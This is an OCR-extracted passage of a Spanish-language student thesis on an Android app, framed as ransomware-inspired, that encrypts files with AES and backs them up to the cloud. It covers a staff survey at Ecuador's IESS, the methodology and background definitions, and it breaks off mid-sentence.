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INTRODUCCION

Los dispositivos moviles se han convertido es una de las herramientas més utilizadas actualmente
siendo incluso en varios casos el reemplazo de portatiles y maquinas de escritorio, debido que
poseen funciones similares como el almacenamiento de nuestra informacion tanto personal como
empresarial. En este contexto, el propoésito principal del presente trabajo consiste en desarrollar
un prototipo de una aplicacion web que permita resguardar nuestra informacion y protegerlos con

cifrado de datos mediante AES.

IESS es una institucion publica que se centra en brindar servicios generales, donde se realizé una
encuesta para ver el estado actual de como resguardan su informacion ademas de sus
conocimientos acerca de temas como servicios en la nube, de seguridad informética y de

malwares.

Por esta razon, se plantea el desarrollo de una aplicacion movil que permita el cifrado de los
archivos y resguardo de los mismos. La aplicacion se desarrollara utilizando software libre, como
Android Studio, Gradle y como lenguaje de Programacion de Java, permitiendo de esta manera

reducir costos de implementacion.

Para lograr este objetivo, se llevara a cabo una investigacion rigurosa que permita definir los
requerimientos del sistema, como el disefio de la aplicacién. Se utilizaran técnicas de recoleccion
de informacion como encuestas y cuadros comparativos para definir las herramientas que se
usaran en el proyecto, en conclusion, el principal objetivo del trabajo expuesto es desarrollar una
aplicacion movil que permita resguardar la informacion de los moviles y realizar el cifrado de la

misma, ofreciendo un nuevo método de proteccion de datos en los dispositivos Android.

XV



RESUMEN

El presente trabajo tuvo como finalidad implementar el ransonware como
mecanismo de seguridad para dispositivos moviles enfocandose en el contexto de una
institucion publica, donde el personal realizo una encuesta para adquirir informacion
relevante acerca de su conocimiento sobre como protegen sus datos, métodos y
mecanismos que utilicen. Para realizar el prototipo se utilizé herramientas enfocados en
desarrollo movil y seguridad informatica, ademas de utilizar la metodologia en cascada,
perfecta para desarrollo de software constado en 5 fases: Planteamiento, Analisis,
Disefio, Programacion y Pruebas. A traves de lo expuesto anteriormente mediante una
evaluacion de rendimiento se califica con la velocidad que actla la aplicacion para

realizar las funciones de cifrado de datos y respaldos.

Palabras claves: Aplicacién movil, Seguridad Informatica, Criptografia
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ABSTRACT

The purpose of this work was to implement ransonware as a security mechanism
for mobile devices focusing on the context of a public institution, where the staff
conducted a survey to acquire relevant information about their knowledge on how they
protect their data, methods, and mechanisms they use. To make the prototype we used
tools focused on mobile development and information security, in addition to using the
waterfall methodology, perfect for software development consisting of 5 phases:
Planning, Analysis, Design, Programming and Testing. Through the above mentioned
by means of a performance evaluation, the speed at which the application performs the
functions of data encryption and backups is qualified.

Keywords: Mobile Application, Computer Security, Cryptography
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INTRODUCCION

Capitulo 1: Fundamentacion

1.1 Antecedentes

Los dispositivos moviles son cada vez més parecidos a los PC o portatiles, con funciones
similares y por tanto riesgos similares, tales como: codigo malicioso, phishing, acceso a
contenidos inapropiados u ofensivos, contacto con personas malintencionadas, pérdida
de informacion, dificultades para garantizar la paz en la privacidad. en eso. Pero la

naturaleza de los teléfonos inteligentes los hace més atractivos para los atacantes. [1]

Los usuarios almacenan una cantidad cada vez mayor de informacion personal y
confidencial en estos dispositivos que, ademas de exponer el dispositivo al robo fisico,
puede ser muy util para los ciberdelincuentes que buscan usar cdigos maliciosos u otras

amenazas para obtener ganancias ilicitas. [1]

En todo 2021 se registraron 25.389 robos a nivel nacional y solo hasta mayo de 2022
hubo 12.548 robos. Entre los bienes codiciados destacan los dispositivos electronicos
como celulares, tablets y portatiles [2], ademas de filtracion de datos tanto personales
como de trabajo, por este motivo se desea realizar una estudio acerca de cémo desarrollar
a futuro una aplicacion movil basada en un tipo de malware denominado Ransonware, de
este parten varias clases que son: Leakware, Scareware ,ScreenLockers ,Como servicio,
blogueo de sistema y el de cifrado de datos, donde se concentrara mas el estudio en los

dos altimos ya mencionados.

En una investigacion que realizo la empresa de seguridad ESET Latinoamérica consulto
a los usuarios si necesitaban una solucion de seguridad en sus teléfonos inteligentes y 9
de cada 10 dijeron que era importante tener una solucion de seguridad en sus teléfonos.
Sin embargo, méas del 80 % no utiliza herramientas de seguridad para proteger su
informacion; solo el 20 % dice tener proteccion contra cédigo malicioso o robo de

dispositivos. [3]

El 25 de julio de 1970, con el Decreto Supremo num. 40, publicado en el Registro Oficial
del 10 de julio de 1970, No. EI 15 de enero se crea la Caja Nacional de Seguridad Social

como el actual Instituto de Seguridad Social del Ecuador - IESS, es una institucion publica



con autonomia, también definida como entidad con patrimonio y personalidad juridica
propios, que tiene como cometido principal garantizar la seguridad social de todos los
ciudadanos asegurados, sobre la base de los principios de solidaridad, universalidad,
justicia y subsidiariedad, eficiencia, adecuacion, transparencia y participacion, que es la

idea principal de la sociedad. [4]

Mediante las encuestas realizadas (Ver anexo 1) a 20 trabajadores del Instituto de
Seguridad Social (IESS) provincia Santa Elena, ubicado en el cantdén La Libertad, se
puede determinar los siguientes puntos importantes: el 95% de los trabajadores poseen
un dispositivo movil, el 90% guarda tanto informacién personal como empresarial, el
50% no tiene una forma u método de resguardar sus datos y como ultimo dato el 15% no
puede llegar a recuperar su informacion en caso de pérdida del maévil u robo.

Con esta informacion podemos determinar varias puntos, muchos de los trabajadores no
poseen una forma de respaldar su informacion debido que muchas pueden llegar a
perderla, a pesar de conocer de los servicios que ofrecen almacenamiento en la nube, no
estan dispuestos a usarlo por varios factores tales como lentitud a la hora cargar los
archivos, el consumo de la memoria del mévil y no tienen a disposicion una conexion
estable a la red, por lo cual muchos realizan los correspondientes respaldos al llegar a su

hogar.

Ademaés de perder la informacion que poseen puede existir una alta probabilidad de que
sean objetivos de delincuentes que buscan cierta informacion exacta de la victima sean
datos bancarios, facturas, informacion de su trabajo para ver algin tipo u manera de
infiltrarse en la empresa para actos ilicitos, a parte que esa misma cantidad de datos puede
llegar a filtrarse por medio de la red afectando considerablemente a los usuarios.

En el caso de estudio ‘Recuperacion de datos cifrados mediante control de versiones en
nube’, una alternativa de Medina, Melquizedec; Martinez, Holzen presenta un estudio de
Ransonware, respaldado por ejemplos de codigo abierto disefiados para ensefiar este tipo
de programa maligno, debido que una de las técnicas mas comunes de los

ciberdelincuentes es el secuestro de los datos mediante estas técnicas. [5]

Por otro lado, en el estudio que realizo Rodriguez Lopez ‘Desarrollo de una aplicacion de
cifrado de imagenes en el sistema Android’ plantea el tema de la proteccion de imagenes,

y la seguridad nunca sera completa. Por esta razon, creemos que no importa cuan



complicado sea el patrén de bloqueo o la contrasefia, no importa como intentemos ocultar
imagenes en una ruta de carpeta ridiculamente grande o hacer que las "imagenes

confidenciales" sean indetectables para la biblioteca de imagenes. [6]
1.2 Descripcion del Proyecto

Este proyecto investiga el comportamiento y funcionamiento del ransonware con el fin
de implementarlo como mecanismo de seguridad para los dispositivos mdviles mediante
una aplicacion informatica. A continuacion se describen las fases de desarrollo del

proyecto:
Fase 1: Planteamiento

» Disefio y aplicacion de encuestas a 20 trabajadores del Instituto de Seguridad
Social (IESS) de la provincia de Santa Elena. Esto con el fin de conocer su nivel
de uso de los servicios informéticos disponibles en la nube .

Fase 2: Analisis

» Investigacion del funcionamiento de ransonware tales como el Slocker y el
WannaLocker o posibles variantes para su respectivo analisis.

» Indagacion acerca de Api’s para utilizar servicios de almacenamiento en la nube
por ejemplo el Drive Api que se utiliza para interactuar con el almacenamiento de
Google Drive. [7]

» Anadlisis mediante un cuadro comparativo los lenguajes de programacion Python,
Java y Javascript para determinar cual se acopla mejor al proyecto en cuestion.

» Andlisis del funcionamiento de editores de codigo fuente para poder desarrollar
la aplicacion como Visual Studio Code optimizado con soporte para operaciones
de desarrollo como depuracién, ejecucion de tareas y control de versiones. [8]

» Investigacion de como aplicar la Api del asistente de Google como el gRPC que
permite agregar control de voz, comprension del lenguaje natural y la inteligencia
de Google a sus ideas. [9]

» Andlisis de la arquitectura de Android para mejor entendimiento del sistema
operativo.

Fase 3: Disefio

» Definicion de las bases de como desarrollar la aplicacion basada en Ransonware.
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» Deteccion de los posibles problemas que puedan llegar a presentarse a medida que
se va estudiando este proyecto.

> Detallar las ventajas que traeria consigo la aplicacién movil a los usuarios.

» Disefio de bocetos y wireframe acerca de la aplicacion y las funcionalidades que
traeria consigo.

Fase 4: Programacion

» Desarrollo del prototipo de la aplicacion propuesta en este tema de investigacion

donde realiza dos acciones las cuales son: copia de seguridad y cifrado de datos.
Fase 5: Pruebas

» Realizacion de pruebas de funcionalidades del prototipo para evaluar ciertos
parametros.

Este proyecto contribuira a la linea de investigacién de Tecnologia y Sistemas de la

Informacion en las organizaciones y en la sociedad, debido que hace referencia a la

computacion, las telecomunicaciones y el procesamiento y/o transferencia de datos

dando, asi como un punto de partida para aplicaciones basadas en malwares que

beneficien a la sociedad a la hora de proteger su informacion. [10]

1.3 Objetivos del Proyecto

1.1.1 Objetivo General

Disefiar una aplicacion mavil basada en codigos de ransonware como mecanismo de

seguridad para los dispositivos mdviles

1.1.2 Objetivos Especificos

e Analizar comportamientos de Slocker y WannaLocker para elegir la mejor
opcidn de la proteccion de datos.

e Definir los requerimientos funcionales y no funcionales para el disefio de
la aplicacion mavil.

e Desarrollar una aplicacion que realice una copia de seguridad y cifrado de
datos.

e Realizar pruebas de usabilidad para evaluar la funcionalidad de la

aplicacion movil.



e Realizar un manual de usuario para dar asistencia a las personas que

utilicen la aplicacion.

1.4 Justificacion del Proyecto

El uso de los teléfonos méviles ha cambiado la forma en que las personas se comunican,
y hace aproximadamente medio siglo era impensable que se podian realizar muchas
actividades utilizando la pequefia pantalla en la palma de la mano [11], las industrias, las
organizaciones y los empresarios se han beneficiado de las herramientas y capacidades
de las aplicaciones de la nueva era basadas en teléfonos inteligentes y otros dispositivos
de alta tecnologia. [12]

Al realizar las busquedas de todas las herramientas necesarias para realizar una aplicacién
movil basada en Ransonware, empezando por los analisis del Slocker y el Wannalocker
debido que son compatibles con los dispositivos mdviles facilitando asi un poco el
problema de la compatibilidad con los mismos para una mayor precision a la hora de
implementarlo en la app moévil, ademas se establecera las posibles Api’s para la aplicacion
facilitando de esta manera muchas de las funciones que tendria la misma tales como
activacion de servicios de red y almacenamiento en la nube para una mayor proteccion a
la informacidn del dispositivo; asistente de Google para mejor control sobre el mévil a
la hora de activar la aplicacion y por ultimo al determinar un editor de cdodigo
optimizariamos las operaciones y un control de versiones, de esta manera se

proporcionaria las herramientas necesarias para desarrollar.

El anélisis del comportamiento y funcionamiento del Ransonware permitira determinar
como realizar la aplicacion de manera mas eficiente sin afectar negativamente la
privacidad de los datos, ademas, permite agregar nuevas formas de respaldar y proteger
nuestra informacion, a parte se estudiara como interactda con la arquitectura de Android
para que exista una mejor relacion entre el hardware y software del dispositivo con la

aplicacion movil debido que muchas funciones seran a nivel de kernel.

Por altimo, el prototipo de la aplicacién abarcaria lo que es los bocetos 0 méas conocido

como sketching de la aplicacion movil permitiendo tener una mejor perspectiva de lo que

haria, tanto de las funciones que realizaria, las caracteristicas que poseeria, su estructura

base facilitando asi el trabajo de manera mas rapida y permitiria detectar ciertos

problemas antes de empezar con el desarrollo de la aplicacion, ademas de presentar los
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wireframe y Mockups se mostrara un prototipo donde se visualizara dos funciones
principales como el resguardo de informacion como el cifrado del mismo, esto beneficia
al desarrollador a la hora de concretarlo o realizar mejoras debido que nomas se
presentaria una version muy temprana de la misma y a los usuarios ya que tendrian una

nueva forma o nuevo método de proteger sus datos.

El presente proyecto esta direccionado al Plan de Creacion de Oportunidades
especificamente al objetivo que se encuentra dentro del eje social debido que se busca

innovar en nuevos productos con varias herramientas tecnologicas [13].

Objetivo 7.- Potenciar las capacidades de la ciudadania y promover una educacion

innovadora, inclusiva y de calidad en todos los niveles.

7.2.- Promover la modernizacion y eficiencia del modelo educativo por medio de la

innovacion y el uso de herramientas tecnoldgicas. [13].

7.4.- Fortalecer el Sistema de Educacion Superior bajo los principios de libertad,
autonomia responsable, igualdad de oportunidades, calidad y pertinencia; promoviendo
la investigacion de alto impacto. [13].

1.5 Alcance del Proyecto

El desarrollo de esta investigacion permitird que el analisis de este tipo de malware como
el Ransonware de paso permite desarrollar aplicaciones que ayuden a los usuarios a
proteger sus datos, por otro lado, el desarrollo del prototipo permite implementar un
nuevo mecanismo de seguridad en nuestros dispositivos moéviles por medio de una copia

de seguridad y cifrado de la informacion.
El presente proyecto abarcara las siguientes fases:

Fase 1: Planteamiento

En esta fase se realizd una encuesta a 20 trabajadores del Instituto de Seguridad Social
(IESS) con el fin de conocer su nivel de uso de los servicios informaticos disponibles en

la nube .

Fase 2: Analisis

Se realizo la investigacion del funcionamiento de ransonware tales como el Slocker y el

WannalLocker o posibles variantes para su respectivo analisis, ademas de Api’s para
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utilizar servicios de almacenamiento en la nube como OneDrive o Google Drive;
mediante cuadros comparativos sobre los lenguajes de programacion Python, Java y
Javascript se determin6 cual de estos mejor se acopla al proyecto.

Se hizo cotejos acerca del funcionamiento de editores de cdodigo fuente para poder
desarrollar la aplicacion, ademéas de como implementar la api del asistente de Google
como el gRPC y por ultimo se hizo un andlisis de la arquitectura de Android para mejor

entendimiento del sistema operativo.
Fase 3: Disefio

Se definio bases de como desarrollar la aplicacion basada en Ransonware, por otro lado
se detectd posibles problemas que puedan llegar a presentarse durante el desarrollo,
detallando asi las ventajas; por ultimo se disefi6 bocetos y wireframe acerca de la

aplicacion y las funcionalidades que traeria consigo.
Fase 4: Programacion

Se desarrollo el prototipo de la aplicacion propuesta en este tema de investigacion donde
realiza dos acciones las cuales son: copia de seguridad mediante servicios de
almacenamiento en la y cifrado de datos.

Fase 5: Pruebas

Realizacion de pruebas de funcionalidad de la aplicacion basada en ransonware para

medir ciertos parametros como el tiempo de cifrado.
1.6 Metodologia de Investigacion

1.6.1. Disefio de la Investigacion

Los métodos exploratorios son aquellos que investigan temas con poca informacién y se
indaga desde una perspectiva innovadora [14]. La presente investigacion no ha sido
realizada a nivel nacional ni internacional debido que este tipo de malware como lo es el
Ransonware solo se lo ha usado para fines negativos. Por lo tanto, se aplicard dicha
investigacion para realizar guias para desarrollar aplicaciones que ayuden a proteger
nuestra informacion mediante diferentes estudios y analisis del Ransonware, ademas de

las herramientas que serviran a este cometido.



La investigacion diagnostica supone analisis de situaciones [15]. Mediante esto se
realizara varios estudios o posibles situaciones que se pueden llegar a presentar durante
el proyecto para tener un amplio conocimiento acerca de como implementar malware para
la seguridad de nuestros moviles. Con esta investigacion se podra afiadir un nuevo método

de resguardo de nuestra informacion en dispositivos moviles.

La investigacion bibliografica es aquella donde se recopila conceptos para obtener un
conocimiento sistematizado [16]. Mediante esto permitird procesar escritos o documentos
del tema en cuestion para comprender de mejor manera todos los componentes generando

asi un nuevo conocimiento.

La investigacion experimental cuyo objetivo es controlar u alterar caracteristicas para
poder observar los resultados obtenidos [17]. Por lo cual ayuda al investigador manipular
ciertas caracteristicas del ransonware para lograr implementarlo como medida de

seguridad para posterior observacién de su comportamiento.
1.6.2.Variables del Estudio

Variable dependiente: El mejoramiento de la seguridad en dispositivos moviles.
Variable Independiente: Implementacion de la aplicacion del ransonware.
1.6.3.Poblacién y muestra

1.6.3.1. Poblacion de estudio

Se utilizara a la totalidad de la poblacion, lo cual corresponde a 20 usuarios. Estos
usuarios son funcionarios del IESS que cuenta con estudios de tercer y cuarto nivel; y

poseen conocimientos en el manejo de tecnologias y utilizan dispositivos méviles.
1.6.3.2. Muestra de estudio

Para este estudio no se utiliza muestra.

1.6.4.Recoleccidon y procesamiento de la informacion
1.6.4.1. Técnica de recoleccion de informacion

En esta seccién, se detallara las técnicas e instrumentos para la recoleccion de

informacidn que se utilizaran en el estudio.

e Técnicas



Encuesta y observacion
e Instrumentos

Para la encuesta se utilizard un cuestionario con 9 preguntas cerradas y de seleccion
maltiple (Ver Anexo 1). Ademés se utilizard cotejos y cuadros comparativos para

describir los datos observados.
1.6.4.2. Procesamiento de la Informacion

Para procesar los datos obtenidos mediante la encuesta se utilizo la plataforma de Google
a través del servicio de Google form. El cual permite crear encuestas o cuestionarios en

el navegador web o0 movil, sin necesidad de algun tipo de software especial.

La informacion se presenta mediante el uso de estadistica descriptiva con organizadores
visuales como: graficos de pastel.

1.7 Metodologia del proyecto

1.6.5. Metodologia Cascada

Para el presente proyecto se establecerd como base la metodologia en cascada que define
como una secuencia de fases, que al final de cada etapa retne toda la documentacion para

garantizar que cumple con los requerimientos y especificaciones. [18]

Por lo tanto, la investigacion se centrara en 5 fases:

Figure 1 Fases de la metodologia en cascada

Planteamiento

N
N

Analisis n

Disefio
Programacion ¢ ‘

Pruebas

servicios informaticos disponibles en la nube .
e Fase 2: Andlisis
En esta fase se realiz0 la investigacion y analisis de varios puntos tales como los

ransonware Slocker y Wannalocker, Api’s para utilizar servicios de
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almacenamiento en la nube, los lenguajes de programacion Python, Java y
Javascript, del funcionamiento de editores de codigo fuente, la api del asistente de
Google y por ultimo la arquitectura de Android.

Fase 3: Disefio

En esta fase se definio bases de como desarrollar la aplicacion basada en
Ransonware, por otro lado se detectd posibles problemas que puedan llegar a
presentarse durante el desarrollo, detallando asi las ventajas; por Gltimo se disefio
bocetos y wireframe acerca de la aplicacion y las funcionalidades que traeria
consigo.

Fase 4: Programacion

En esta fase se desarroll6 el prototipo de la aplicacion propuesta en este tema de
investigacion donde realiza dos acciones las cuales son: copia de seguridad
mediante servicios de almacenamiento en la y cifrado de datos.

Fase 5: Pruebas

En esta fase se realiz6 pruebas de funcionalidad de la aplicacion.
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Capitulo 2: Marco Referencial

2.1 Marco Contextual

2.1.1.- Instituto Ecuatoriano De Seguridad Social (IESS)

Es una organizacién publica y autbnoma con una justicia privada y una solidaridad, la
Constitucion de 2008 consolida el IESS y a través del Articulo 34 para garantizar el
derecho al Seguro Social como un derecho indispensable de todos, en el marco de los
cambios revolucionarios realizados por el gobierno actual, EI 20 de octubre de 2010,
segun la resolucién del CD N ° 334, emitido por la Junta Directiva de IESS, ampli6 el
seguro de salud de las sucursales, las personas retiradas y retiradas, relacionadas con sus

hijos menores de 18 afios y conyuge, que aumenta el namero de seguro [19].
2.1.2.- Superintendencia de Bancos(SIB)

Es el 6rgano encargado de vigilar, regular y supervisar las instituciones del sistema
financiero del pais, velando por que cumplan con la ley. También protege a los usuarios
para mantener la confianza en el sistema. Segun el art. 309 de la Constitucion, el sistema
financiero nacional comprende los sectores publico, privado, popular y solidario, que
intervienen en el gasto de los fondos publicos. Cada uno de ellos tendréa reglas y controles
especificos y distintos que seran responsables de mantener su seguridad, estabilidad,

transparencia y confiabilidad [20].

Estos organismos seran auténomos y sus directores seran responsables administrativa,
civil y penalmente de sus decisiones. SIB aplica el principio de transparencia financiera,
es decir, brindar informacion actualizada, completa y completa a todos los usuarios del
sistema para facilitar y simplificar sus decisiones al momento de celebrar contratos y/o
utilizar productos y servicios financieros. SIB publica estados financieros, tasas de
interés, tarifas de servicios, estadisticas, leyes, reglamentos y brinda educacion financiera,

entre otros [20].
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2.2 Marco Teorico

2.2.1 Antecedentes del estudio

2.2.1.1 Seguridad en dispositivos moviles con sistemas operativos Android y 10S

En este articulo donde trabajaron Parra Leidy, Vega Juan y Galindo Juan establecieron
una perspectiva de andlisis de aspectos importantes que tienen relacién con la seguridad
en los teléfonos moviles con sistemas operativos Android y 10S, describiendo
antecedentes donde posteriormente se mostrd una conceptualizacion de las caracteristicas
fundamentales de los sistemas en estudio, ademas se determiné mecanismos de seguridad
que se pueden implementar por el usuario minimizando asi lo riesgos en el uso de estos

dispositivos [21].

En este trabajo definieron la seguridad en los dispositivos moviles como una disciplina
que se encarga de elaborar normas, procedimientos, métodos y técnicas con el objetivo
de conseguir un sistema seguro y confiable, por otro lado, se sefiala que estos dispositivos
albergan una gran cantidad de informacion confidencial de sus duefios, convirtiéndose de
esta manera un elemento importante para ellos incluso transformandose en una extension

de los mismos [21].

2.2.1.2 Dispositivos mdviles y el fendomeno del BYOD. Su impacto en la seguridad

de las organizaciones

Paula Venosa, Nicolds Macia, Carlos Damian Piazza Orlando y Sebastian Exequiel
Pacheco Veliz determinaron en su trabajo que existen amenazas como el malware, robo,
filtracion de informacidn, entre otras, que atentan contra la seguridad de los dispositivos
maviles poniendo en riesgo los datos personales de los usuarios e incluso informacion
sensible de las organizaciones debido que utilizan un “fendémeno cultural” denominado
BYOD que consiste en usar sus celulares personales para las labores de la empresa

reduciendo asi gastos en equipos electronicos [22].

Se investigo acerca de esta nueva tematica donde se realizaron recomendaciones de
seguridad respecto al BYOD tomando en cuenta como referencia la ISO 27000 donde
fueron aplicadas en el ambito de trabajo. La metodologia utilizada permite identificar de
manera sencilla cuales son los dispositivos que pueden llegar a un estado critico

dependiendo de la cantidad de datos que almacene o la importancia de los mismos [22].
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A la hora de disefiar e implementar soluciones para la seguridad de los celulares se debe
abordar esta probleméatica de manera integral teniendo en cuenta las normas que se
apliquen, las herramientas que se utilicen para administrar de manera mas facil tales como
el SOTI Mobicontrol que permite controlar las aplicaciones, contenido, servicios, filtros
en llamadas y paginas web e incluso control de malware, toda la informacion se almacena

0 registra en la herramienta [22].
2.2.1.3 EIl Costo de la Seguridad en Dispositivos Mdviles

Enrique Carrera en su trabajo de investigacion entablo que el uso de mecanismos
criptograficos dentro de las aplicaciones moviles puede consumir una gran cantidad
significativa de recursos viéndose reflejadas en tiempo y consumo de energia. Sin
embargo, las nuevas aplicaciones requieren cada vez una mayor garantia en su seguridad
para un uso adecuado y preciso, es por ello, que se debe seleccionar un mecanismo
adecuado de seguridad es de extrema importancia para alcanzar un nivel 6ptimo de

satisfaccion por parte de los usuarios [23].

Un claro ejemplo de estas aplicaciones de criptografia es la firma digital, se lo denomina
“un conjunto de datos anexado a una unida de comunicacion” permitiendo al recipiente
probar la fuente e integridad de los datos protegiéndola contra algun tipo de falsificacion
o0 suplantacion, ademés esta el J2ME desarrollado por Sun Microsystmes que porta el
lenguaje Java a los dispositivos con ciertas limitaciones de recursos, manteniendo

disponible un subconjunto de sus funcionalidad base [23].

2.2.2 Variables del estudio

2.2.2.1 El mejoramiento de la seguridad en dispositivos moviles.

Esta variable nos permite visualizar como puede llegar a mejorar la seguridad de nuestra
informacién en nuestros dispositivos moviles ante cualquier situacion de pérdida del

dispositivo, mediante el uso de cifrado y uso de servicios de almacenamiento en la nube.
2.2.2.2 Implementacion de la aplicacion del ransonware.

Esta variable permite que se utilice el concepto de ransonware para que sea usado de
forma ética y ayude a proteger la informacion de nuestros dispositivos mdviles, cifrando

nuestra informacion para que nadie sin autorizacion pueda acceder a la misma.

13



2.3 Marco Conceptual

2.3.1 Seguridad Informatica

La seguridad informatica es la disciplina que en base a politicas y normas tanto internas
como externas de la empresa , se encarga de proteger la integridad y privacidad de los
datos que se encuentren almacenadas en un sistema informatico contra cualquier tipo de
amenazas, reduciendo los riesgos fisicos como logicos a los que estan expuestos, no
obstante en caso de que una amenaza se haga efectiva es indispensable procurar recuperar

la informacion dafiada o incluso robada [24] .

2.3.2 Aplicacion Mavil

Una aplicacién movil es un programa que se puede descargar y acceder directamente
desde un dispositivo mavil u otro dispositivo, como una tableta o un reproductor de MP3.
En un teléfono inteligente u otro dispositivo, puede tener acceso a programas O
aplicaciones para jugar, obtener indicaciones paso a paso, acceder a noticias, libros, datos
meteoroldgicos y mas [25].

2.3.3 Teléfono Movil

Un teléfono mavil es un dispositivo electronico inaldmbrico de radiofrecuencia que
funciona como cualquier teléfono fijo. Su principal caracteristica es la portabilidad, ya
que la realizacion de llamadas no depende de ningun terminal fijo y no requiere de ningun

cable para conectarse a la red telefénica [26].

Aunque su funcidn principal es la comunicacion por voz como un teléfono normal, su
rapido desarrollo ha incluido funciones adicionales como mensajeria (sms), calendario,
juegos, teléfono mavil, fotos, calendarios, acceso a Internet, reproduccién de video e
incluso GPS y reproductores de mp3. La evolucion de los teléfonos méviles ha reducido
su tamafio y peso, desde el Motorola DynaTAC, el primer teléfono movil en 1983 que
pesaba 780 gramos, hasta los teléfonos actuales méas pequefios y con mejores prestaciones

de servicio [26].

Ademas, a lo largo de los afios se han desarrollado baterias mas pequefias y de mayor
duracion, se han desarrollado pantallas més nitidas y coloridas y se ha introducido un
software mas facil de usar. Inicialmente, los teléfonos méviles solo permitian realizar

Ilamadas de voz y enviar mensajes de texto. Con el desarrollo de la tecnologia se han
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agregado nuevas aplicaciones, como juegos, despertadores, calculadoras y acceso WAP.

(acceso a Internet mediante paginas web especialmente disefiadas para maviles) [26].
2.3.4 Cloud o Nube

La computacién en la nube o cloud es el acceso bajo demanda a recursos informaticos
como aplicaciones, servidores (fisicos y virtuales), almacenamiento de datos,
herramientas de desarrollo, funciones de red, etc. Estos estan ubicados en centros de datos
a través de Internet y administrados de forma remota por un proveedor de servicios en la
nube (o CSP). CSP proporciona estos recursos en un plan de suscripcion mensual o

facturas basadas en el uso [27].

El término "computacion en la nube" también se refiere a la tecnologia que hace que la
nube funcione. Incluye un tipo de infraestructura de Tl virtualizada, como servidores,
software de sistema operativo, redes y otra infraestructura, que se captura con un software
especial para que la Tl pueda agregarse y distribuirse independientemente de las
limitaciones fisicas del hardware. Por ejemplo, un servidor de hardware se puede dividir

en varios servidores virtuales [27].
2.3.5 Editor de Cddigo

Los editores de codigo son programas que nos ayudan a gestionar el cddigo fuente de
nuestros proyectos. Son ideales cuando se trabaja con diferentes lenguajes de
programacion, uséndolos indistintamente o dentro de un mismo proyecto (por ejemplo,

en proyectos web es comin combinar HTML, JavaScript, css, php, etc.) [28].

De hecho, el cddigo no es méas que texto y se interpretard como codigo si se ejecuta en el
contexto correcto. Esto significa que podemos escribirlo en cualquier entorno que nos
permita guardarlo en texto sin formato (“texto sin formato"), como Notepad en Windows
0 TextEdit en Mac. Pero aparte de cambios muy rapidos cuando no tenemos un editor,

escribir codigo en estos entornos tan basicos es muy inusual [28] .
2.3.5.1 Visual Studio Code

E un editor de codigo fuente que ayuda a las empresas a crear y depurar aplicaciones
web que se ejecutan en Windows, Linux y macOS, ademas de tener soporte para
JavaScript, TypeScript y Node.js, es optimizado para operaciones de desarrollo como la

depuracion, tareas ejecutandose y sobre todo control de versiones, el principal objetivo
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que tiene es de proporcionar las herramientas necesarias a los desarrolladores para
concretar un ciclo rapido de codigo dejando flujos mas complejos y completos [29].

Posee un motor de depuracion integrado que permite a los desarrolladores editar,
compilar y depurar bucles, activar puntos de interrupcion para pausar la ejecucion del
codigo, ver variables o el comportamiento de la memoria y registrar mensajes en la

consola mediante un punto de registro [29] .
2.3.5.2 Android Studio

Android Studio es un entorno de desarrollo integrado (IDE) oficial que se utiliza en el
desarrollo de apps para el sistema operativo Android, ademas esta basado en el potente
editor de codigo y las herramientas para desarrolladores de IntelliJ IDEA, ademas, ofrece
mas funciones que mejoran tu productividad cuando compilas apps para Android, como

las siguientes [30]:

o Unsistema flexible que estd basado en Gradle
o Unemulador rapido y repleto de funciones

e Un entorno unificado donde puedes desarrollar para todos los dispositivos
Android

« Ediciones en vivo para actualizar elementos componibles en emuladores y
dispositivos fisicos, en tiempo real

« Integracion con GitHub y plantillas de cédigo para compilar funciones de apps
comunes.

e Variedad de marcos de trabajo y herramientas de prueba

e Herramientas de Lint para identificar problemas de rendimiento, usabilidad y
compatibilidad de versiones.

o Compatibilidad con C++y NDK

o Compatibilidad integrada con Google Cloud Platform, que facilita la integracion
con Google Cloud Messaging y App Engine

2.3.6 IDE
Un entorno de desarrollo integrado (IDE) es una aplicacion que ayuda a los
desarrolladores a desarrollar codigo de manera eficiente. Aumente la productividad de los

desarrolladores al combinar software de edicion, creacion, prueba y empaquetado en una

aplicacion facil de usar. De la misma manera que los escritores usan procesadores de texto
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y los contadores usan hojas de célculo, los programadores usan IDE para facilitar su
trabajo [31] .

Puede utilizar cualquier editor de texto para escribir el codigo. Sin embargo, la mayoria
de los entornos de desarrollo integrados (IDE) incluyen caracteristicas mas alla de la
edicion de texto. Proporcionan una interfaz central para las herramientas de desarrollo
comunes, lo que hace que el proceso de desarrollo de software sea mucho més eficiente.
Los desarrolladores pueden comenzar rapidamente a desarrollar nuevas aplicaciones en
lugar de integrar y configurar software diferente manualmente. Tampoco necesitan

conocer todas las herramientas y, en cambio, pueden concentrarse en una aplicacion [31].
2.3.7 Malware

El término malware (también conocido como malware o software malicioso) se refiere a
todo tipo de software disefiado especificamente para dafiar una computadora o red con

fines de lucro o uso indebido [32] .

En muchos casos, el malware se instala en nuestras computadoras sin nuestro
conocimiento, a menudo a través de descargas engafiosas o enlaces disfrazados de
contenido que no sabemos puede estar interesado. Una vez que se instala malware en una
computadora, quienes lo controlan a menudo pueden intentar obtener acceso a nuestra

informacion personal [32].

A veces registran nuestros keyloggers (keyloggers) o monitorean la actividad de nuestro
dispositivo, lo que puede obligar al dispositivo a visitar ciertos sitios web, enviar correos
electronicos o realizar otras acciones de las que no somos conscientes. Las consecuencias
del malware pueden ser tan inofensivas como una pequefia molestia o tan graves como el

robo de identidad, con todas las consecuencias posibles [32].
2.3.7.1 Ransonware

Es un malware que después de infectar un sistema, bloguea algunos recursos exigiendo
algun tipo de rescate para devolver el acceso a esos recursos o datos, Por lo general, los
ransonware utilizan tecnologias de cifrado para mantener los datos cautivos, con la
masificacion de las tecnologias y el acceso a la red por parte de los usuarios, este ataque

encuentra nuevas oportunidades para causar dafio a las organizaciones y usuarios, ya que
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a la par de los avances tecnoldgicos y avances en cuanto a seguridad, el ransonware

también se adapta al entorno [33] .
2.3.8 Lenguaje de Programacion

En informatica, un programa para crear otros programas de computadora se llama
lenguaje de programacion. Su nombre deriva del hecho de que consiste en un lenguaje
formal disefiado para organizar algoritmos y procesos légicos que luego seran ejecutados
por una computadora o sistema informatico, permitiendo controlar el comportamiento

fisico y 16gico y su relacion con el usuario [34].

Este lenguaje consta de simbolos, reglas sintacticas y seméanticas, expresadas en forma de
instrucciones y relaciones l6gicas, mediante las cuales se construye el codigo fuente de
una determinada aplicacion o software. Por lo tanto, el resultado final de estos procesos

creativos también puede denominarse lenguaje de programacion [34] .
2.3.8.1 Java

Java es un lenguaje de programacion orientado a objetos multiplataforma que se ejecuta
